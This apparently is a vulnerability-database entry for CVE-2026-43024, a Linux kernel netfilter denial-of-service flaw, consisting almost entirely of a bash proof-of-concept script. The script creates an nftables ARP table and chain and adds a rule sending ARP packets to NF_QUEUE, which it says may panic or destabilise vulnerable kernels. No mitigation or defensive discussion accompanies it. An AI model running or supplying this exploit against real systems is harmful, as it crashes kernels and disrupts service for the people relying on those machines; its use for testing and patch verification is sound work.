CVE-2026-43024 Linux内核netfilter拒绝服务漏洞

#!/bin/bash # PoC for CVE-2026-43024: Trigger immediate NF_QUEUE verdict on ARP family # This script attempts to add a rule that queues ARP packets immediately. # On vulnerable kernels, this may cause a crash or instability due to lack of queue support in arp. # Check if nft is installed if ! command -v nft &> /dev/null; then echo "nft command not found. This PoC requires nftables." exit 1 fi echo "[*] Creating ARP table..." nft add table arp filter 2>/dev/null || echo "Table might exist or permission denied." echo "[*] Adding chain to ARP table..." nft add chain arp filter input '{ type filter hook input priority 0 ; }' 2>/dev/null echo "[*] Adding malicious rule: immediate NF_QUEUE verdict..." # This rule attempts to use 'queue' which is not supported for immediate verdicts in ARP nft add rule arp filter input queue num 0 echo "[*] Rule added. If the kernel is vulnerable, it may panic or behave unexpectedly."